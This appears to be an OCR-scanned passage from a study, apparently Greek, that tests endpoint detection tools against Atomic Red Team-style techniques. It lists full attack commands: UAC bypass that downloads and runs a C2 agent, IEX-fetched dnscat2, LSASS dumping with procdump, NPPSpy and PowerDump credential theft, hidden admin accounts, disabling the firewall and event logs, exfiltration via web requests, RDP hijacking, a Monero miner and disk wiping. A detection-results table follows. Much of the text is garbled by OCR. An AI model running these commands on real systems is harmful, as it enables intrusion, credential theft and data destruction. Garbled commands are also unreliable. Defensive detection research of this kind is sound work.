8 persistence multiple Event Triggered Execution: AppCert "HKEY_LOCAL_MACHINE\System\CurrentControISet\ControI\SeSS|on
via AppCert DLLs Manager\AppC_ertDIIs"_/v "Atomlchst" [t REG_EXPAND_SZ /d
DLL "C:\Users\Public\AtomicTest.dll" /f; if($false){Restart-Computer}
DLL Search - .
. . , copy %windir%\System32\windowspowershell\v1.0\powershell.exe
9 Hij(;gﬁ?r:g _ multiple Hijack EX%C;‘JL?”HZ.';’;’;’(} r%'-'- Search | oo APPDATAYS\updater.exe && copy Y%windirde\System32amsi.dll
amsi.dll %APPDATAY\amsi.dll && %APPDATA%\updater.exe -Command exit
I;;(cfgg[rlr?zg copy O§55d1_Windc_stSeryiceExample.exe "C:\Rrogram _
10 as service ltiol Hijack Execution Flow: Path .'.:(':I,e\S\W'ndOWS—SE r(\g/Lge.exe &&"Eopy O(|5558d1__\/V||r'1gpwsSﬁ£vl|lcéeil\EF>)< ample.exe
with multiple Interception by Unquoted Path < ‘\program.exe” && sc crlfeau_e xamp e_ Erwce inpath= C: rtigram
unquoted |Ies}lW|ndows_serv!ce;lexe Displayname= "Example Service" start= auto && sc
: start "Example Service
service path
Activate
11 Guest multiple Valid Accounts: Default Accounts net user guest /active:yes
Account
$url="#{server}/file/download"; $wc=New-Object System.Net.WebClient;
$wc.Headers.add("'platform","windows"); $wc.Headers.add("file","sandcat.go");
$data=$wc.DownloadData($url); $name=$wc.ResponseHeaders["Content-
Disposition"].Substring($wc.ResponseHeaders["Content-
12 Bypass UAC privilege- Abuse Elevation Control Mechanism: | Disposition"].IndexOf("filename=")+9).Replace("™"","");
Medium escalation Bypass User Access Control [io.file]::WriteAlIBytes("C:\Users\Public\$name.exe",$data);

$job = Start-Job -ScriptBlock { Import-Module -Name. \Bypass-UAC.ps1;
Bypass-UAC -Command "C:\Users\Public\$name.exe -group #{group}"; };
Surl="#{server}/file/download"; $wc=New-Object System.Net.WebClient;

$wc.Headers.add("'platform","windows"); $wc.Headers.add("file","sandcat.go");
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$data=$wc.DownloadData($url); $name=$wc.ResponseHeaders["Content-
Disposition™].Substring($wc.ResponseHeaders["Content-
Disposition™].IndexOf("filename=")+9).Replace("""","");
[io.file]::WriteAllBytes("C:\Users\Public\$name.exe",$data);

$job = Start-Job -ScriptBlock { Import-Module -Name. \Bypass-UAC.ps1;
Bypass-UAC -Command "C:\Users\Public\$name.exe -group #{group}"; };

Receive-Job -Job $job -Wait;

NET USER AtomicOperator$ AtOmicRedTeam! /ADD /expires:never && REG

Create - .
. . . . e ADD "HKLM\Software\Microsoft\Windows
13 T;dggnils{[?er defense-evasion Hide Artifacts: Hidden Users NT\CurrentVersion\Winlogon\Special Accounts\Userlist" /v AtomicOperator$ /t
gistry REG_DWORD /d 0
14 Vv:gggi/]v defense-evasion Hide Artifacts: Hidden Window Start-Process powershell.exe -WindowStyle hidden calc.exe
Create a
Process $Class = New-Object Management.ManagementClass(New-Object
15 using execution Windows Management Management.ManagementPath("Win32_Process")); $NewClass =
obfuscated Instrumentation $Class.Derive("Win32_Atomic"); $NewClass.Put(); Invoke-WmiMethod -Path
Win32_Proc Win32_Atomic -Name create -ArgumentL.ist notepad.exe
ess
Disable
Microsoft . Impair Defenses: Disable or Modify . .
16 Defender defense-evasion System Firewall netsh advfirewall set currentprofile state off
Firewall
Disable
17 Event | gefense-evasion | 'MPaIr Defenses: Disable Windows 1\ e 4 i) o) "Microsoft-Windows-IKE/Operational™ /e:false
Logging with Event Logging
wevtutil
lcedID $fileName = "C:\temp\T1020_exfilFile.txt"; $url = "https://google.com”; $file =
18 | Botnet HTTP exfiltration Automated Exfiltration New-ltem -For_c?' $f|IgNa_me -Value ThIS"!S ART IcedID Botnet Exfil Te_st ;
PUT $contentType = "application/octet-stream"; try {Invoke-WebRequest -Uri $url -

Method Put -ContentType $contentType -InFile $fileName} catch{}
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if(-not (Test-Path $env: TEMP\LineNumbers.txt)){; 1..100 | ForEach-Object {
Add-Content -Path $env: TEMP\LineNumbers.txt -Value "Thisis line $_." }; };

19 E)?f?l t? :ttiecl)n exfiltration Exfiltration Over C2 Channel [System.Net.ServicePointManager]::Expect100Continue = $false; $filecontent =
Get-Content -Path $env: TEMP\LineNumbers.txt; Invoke-WebRequest -Uri
example.com -Method POST -Body $filecontent -DisableKeepAlive

20 Cﬁ;r;gxo%s?r impact Account Access Removal net user Ator_ni_cAdministrator User2ChangePW! /add && net.exe user

. AtomicAdministrator HuHUHUHoH0283283@dJD
Windows
Overwrite
21 | deleted data impact Data Destruction cipher.exe /w:C:
on Cdrive
22 Leave note impact Defacement echo "proof that this machine was hacked." > message.txt
23 Mlgr\rgzllgtz impact Defacement AInvoke-MemeKatz.psl
Windows -
Modify file
24 creation defense-evasion Indicator Removal on Host: Get-Childltem $env: TEMP\T1551.006_timestomp.txt | % { $_.CreationTime =
timestamp Timestomp "01/01/1970 00:00:00" }
with
PowerShell
IEX (New-Object
command-and- o System.Net.Webclient).DownloadString(‘'https://raw.githubusercontent.com/lukeba

25 DNS C2 control Application Layer Protocol: DNS ggett/dnscat2-
powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.psl’); Start-
Dnscat2 -Domain
$ps = get-process | select processname, ld;

26 | Find LSASS discovery Process Discovery $valid = foreach($p in $ps) { if($p.ProcessName -eq "lIsass") {$p} };
$valid | ConvertTo-Json

Modify
Registry to
27 Arlt?i?gry multiple Boot or Logon Autost_art Execution: | New-ItemProperty -Path HKLM:\SYSTEM\Cu_rrentControISet\Services\NTDS -
DLL into LSASS Driver Name LsaDbExtPt -Value "$env: TEMP\Isass_lib.dIl"
LSASS -
LsaDbEXxtPt
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28

Leverage
Procdump
for Isass
memory

credential-
access

OS Credential Dumping: LSASS
Memory

$ps_url = "https://download.sysinternals.com/files/Procdump.zip";
$download_folder = "C:\Users\Public\";

$staging_folder = "C:\Users\Public\temp";

Start-BitsTransfer -Source $ps_url -Destination $download_folder;
Expand-Archive -LiteralPath $download_folder"Procdump.zip" -DestinationPath
$staging_folder;

$arch=[System.Environment]::1s64BitOperatingSystem;

if ($arch) {

iex $staging_folder"\procdump64.exe -accepteula -ma Isass.exe" >
$env:APPDATA\error.dmp 2>&1;
}else {

iex $staging_folder"\procdump.exe -accepteula -ma Isass.exe" >
$env:APPDATA\error.dmp 2>&1;
}

remove-item $staging_folder -Recurse;

29

Credential
Dumping
with NPPSpy

credential-
access

OS Credential Dumping

Copy-Item "$env:Temp\NPPSPY.dII" -Destination "C:\Windows\System32";
$path = Get-ltemProperty -Path
"HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name
PROVIDERORDER; $UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy";
Set-ltemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value
$UpdatedValue; $rv = New-ltem -Path
HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore; $rv
= New-Item -Path
HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -
ErrorAction Ignore; $rv = New-ItemProperty -Path
HKLM:ASYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name
"Class" -Value 2 -ErrorAction Ignore; $rv = New-ItemProperty -Path
HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name
"Name" -Value NPPSpy -ErrorAction Ignore; $rv = New-ItemProperty -Path
HKLM:A\SY STEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name
"ProviderPath" -PropertyType ExpandString -Value
"%SystemRoot%\System32\NPPSPY .dII" -ErrorAction Ignore; echo "[!] Please,
logout and log back in. Cleartext password for this account is going to be located
in C:\NPPSpy.txt"
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if (Test-Path "$Env:Temp\PowerDump.ps1") { ; } else {Invoke-Webrequest -Uri

PowerDump "https://raw.githubusercontent.com/BC-
Hashes and credential- 0S Credential Dumping: Security SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_
30 Usernames ACCESS Account Managér source/credentials/Invoke-PowerDump.psl" -UseBasicParsing -OutFile
from "$Env:Temp\PowerDump.ps1"}; ; Write-Host "STARTING TO SET BYPASS
Registry and DISABLE DEFENDER REALTIME MON" -fore green; Import-Module
"$Env: Temp\PowerDump.ps1"; Invoke-PowerDump
31 E;(St;s\f:rgg credential- Unsecured Credentials: Credentials In | findstr /si pass *.xml *.doc *.txt *.xIs; Is -R | select-string -ErrorAction
S access Files SilentlyContinue -Pattern password
with findstr
Credentials . . L
32 | in Registry - credential- Unsecured Credent_lals. Credentials in reg query HKLM /f password /t REG_SZ /s
HKLM access Registry
33 RDP lateral- Remote Service Session Hijacking: | query user && sc.exe create sesshijack binpath="cmd.exe /k tscon 1337 /dest:rdp-
hijacking movement RDP Hijacking tcp#55" && net start sesshijack
Execute
command
34 writing lateral- Remote Services: SMB/Windows query user && sc.exe create sesshijack binpath= "cmd.exe /k tscon 1337 /dest:rdp-
output to movement Admin Shares tcp#55" && net start sesshijack
local Admin
Share
$server="#{server}";
$sharePath="#{share}";
Set-Location $sharePath;$url="$($server)/file/download";
$wc=New-Object
System.Net.WebClient;$wc.Headers.add("platform™,"windows");
Copy $wc.Headers.add("file","sandcat.go");($data=$wc.DownloadData($url)) -and
35 Sandcat File lateral- Remote Services: Windows Remote | ($name=$wc.ResponseHeaders["Content-
using movement Management Disposition™].Substring($wc.ResponseHeaders["Content-
Powershell Disposition"].IndexOf("filename=")+9).Replace("™"",")

-and ([io.file]::WriteAllBytes("$($sharePath)$name.exe",$data));
$startServer="$($sharePath)$name.exe -server $($server) **;Invoke-Command
-ScriptBlock {Param([string]$startServer, $sharePath, $name, $server) Invoke-
WmiMethod

-Class Win32_Process -Name Create -ArgumentList "$($sharePath)$name.exe
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-server $server -v" } -ComputerName #{remote.host.name} -ArgumentL.ist
$startServer, $sharePath, $name, $server

At.exe
36 Scheduled multiple Scheduled Task/Job: At at 13:20 /interactive cmd
task
waget https://github.com/xmrig/xmrig/releases/download/v6.11.2/xmrig-6.11.2-
Crypto linux-x64.tar.gz;
37 (Monero) impact Resource Hijacking tar -xf xmrig-6.11.2-linux-x64.tar.gz;
Mining timeout 60. /xmrig-6.11.2/xmrig;
[$? -eq 124 ]
LogMeln Invoke-WebRequest -OutFile N _
Files C:\Users\$env:username\Deskto_p_\LogM_eInl_gnltlon.m5|
38 Detected command-and- Remote Access Software https://secure.Iogmeln.com/LogMeInlgnlt_lt_)n.mSI;_ $filel = "C:\Users\"" +
Test on control $env:us¢rname_+ "\Desktop\LogMeInlgnltlon.msr'; Start-Process -Wait
) $filel /quiet; Start-Process "C:\Program Files (x86)\LogMeln
Windows i, . Vg
Ignition\LM I Ignition.exe' /S
Logoff
39 System - impact System Shutdown/Reboot shutdown /I
Windows
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Exfiltration over C2
Channel (T1041)

Artifact Cleanup - - . . . .
Delete Staged Files SIGMA AgV OVIYVEVTNKE A€V avivEDTIKE AEV OVIYVEVTNKE A€V avViVEVTNKE AviyveuTKe
Acrtifact Cleanup AEV aVIVEVTNKE \ AgV aviyvevTnKe Agv aviyveOTNKE Agv aviyvedTNKe Agv aviyveLTnKe AviyvedTnke

Startup Folder . .
Persistence Execution SIGMA A&V avVELTKE AvyvedTnKe
Click. LNK payload SIGMA | Agv avigvedTike  Agv aviyvedTIIKE  AEV OVIYVEDTIKE  AEV aVIVEDTKE AvyvedTnke

Timestomp kxwn.lock [ASAR YA Zaax 1|83 \ AgV aviyvevTNKe Agv aviyveOTKE Agv aviyvedTnKe Agv aviyvevTnKe AviyvedTnke

Detect Anti-Virus AgV aviyyvevTNKE \ AgV aviyveLTNKE Agv avViYVEVTNKE AgV aviyveDTNKE  AEV OVIYVEVTNKE AviyvedTnke

Detect Software AgV aviyvevTNKE \ Agv aviyveLTNKE A€V UVIYVEVTNKE A€V OVIYVEVTNKE A€V UVIYVEVTIKE AviyvedTnke

Enumerate Computer

Name SIGMA AgV aviyvevTnKe Agv aviyveOTNKe A€V aviyveDTNKE AviyvedTnke AviyvedTnke
Enume,(la;:anlé)omaln SIGMA AvyvedTnke AvyyvedTnke
Enumerate Username SIGMA | Agv avigvedTike  Agv aviyvedTIKE  AEV OVIYVEDTKE AvyvedTnke AvyvedTnke
Enumerate Processes SIGMA | Agv avigvedTike  Agv aviyvedTIKE ALV aVIVEDTKE AvyvedTnke AvyvedTnke
UAC Bypass via sdctl SIGMA | Agv avivedTike  Agv aviyvedTIKE  AEV OVIYVEDTIKE  AEV aVIYVEDTKE AviyvedTnke
Credential Dumping SIGMA | Agv avivedTike  Agv oviyvedTIKE AV OVIVEDTKE  AEV aVI)VEDTKE AviyvedTike
Stage Mimikatz Binary SIGMA | Agv avigvedTike  Agv aviyvedTIKE  AEV OVIVEDTIKE AvyvedTnke AvyvedTnke
WMtéfher:?&Zteence SIGMA Agv oV vevTIKE Agv OVIYVEDTNIKE AgV aviveDTNKE  AgV aviyvedTnke AviyvedTnke
Enurgzrr?:foﬁgrmam SIGMA AEV aviyVELTNKE AgV aVIYVEVTIKE AgV avViveEDTNKE  AEV avVIVELTKE AvyvedTnke
Enumerate Domain SID SIGMA | Aev avigvedTike  Agv ovigvedTIKE ALV aViYVEDTKE  AEV aVIVEDTKE AvyvedTnke
Remote Connection
(HYAE) 4 RETES FlE AgV aviyveEDTNKE | AEV OVIYVEDTNKE AEV OVIVELTNKE AEV OVIYVEVTNKE  AEV AVI(VEDTNKE AviyvedTnke
Copy (T1105) & xvevTn AveEvTn AVELTT AVELTN AVELTT xvevTn
Credential Dumping
Collect E-mails SIGMA | Agv ovivedTike  Agv aviyvedTNKE Agv aviyveOTNKE  AEV OVIVEDTIKE Aviyved ke
Clltzair i &2 Agv aviyvevTnKe | Agv aviyvedTnke Agv aviyvedTnke Agv aviyvedTnke  Agv oV VeELTKE AviyvevTnke
Compress Collection AVELT Avevth Avevth AvevTh AvevTh AvevTh
Exfiltrate data to . . , , - -
OneDrive Agv aviyveOTNKE | AEV OVIYVEDTNKE AEV OVIYVEDTNKE AEV avViVEVTNKE A&V aviyveOTNKeE AviyvevTnKe
Bele WIF}IiTgSOf gt SIGMA AgV aviyvevTnKe Agv aviyveOTNKe A€V aviyvedTnKe Aviyvedtnke Avyvednke
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AgV OVIYVEDTNKE | AEV OVIYVEVTNKE Agv avi veEDTNKE AEV UVIYVEVTNKE A€V UVIVEVTNKE AvyyvedTnke

Triggering Persistent AEV OV VEVTNKE \ AgV OVIYVEVTNKE Agv v veEVTNKE AEV OVIYVEVTNKE A€V UVIVEVTIKE AviyvedTnke

AviyveUTnKe autopOTO

AvixvelTnKe e Xprion Kavovwy Sigma

AviXveUTnKE TO YEYOVOG HUoOvo. Aev cuoxetiotnke pe to MITRE
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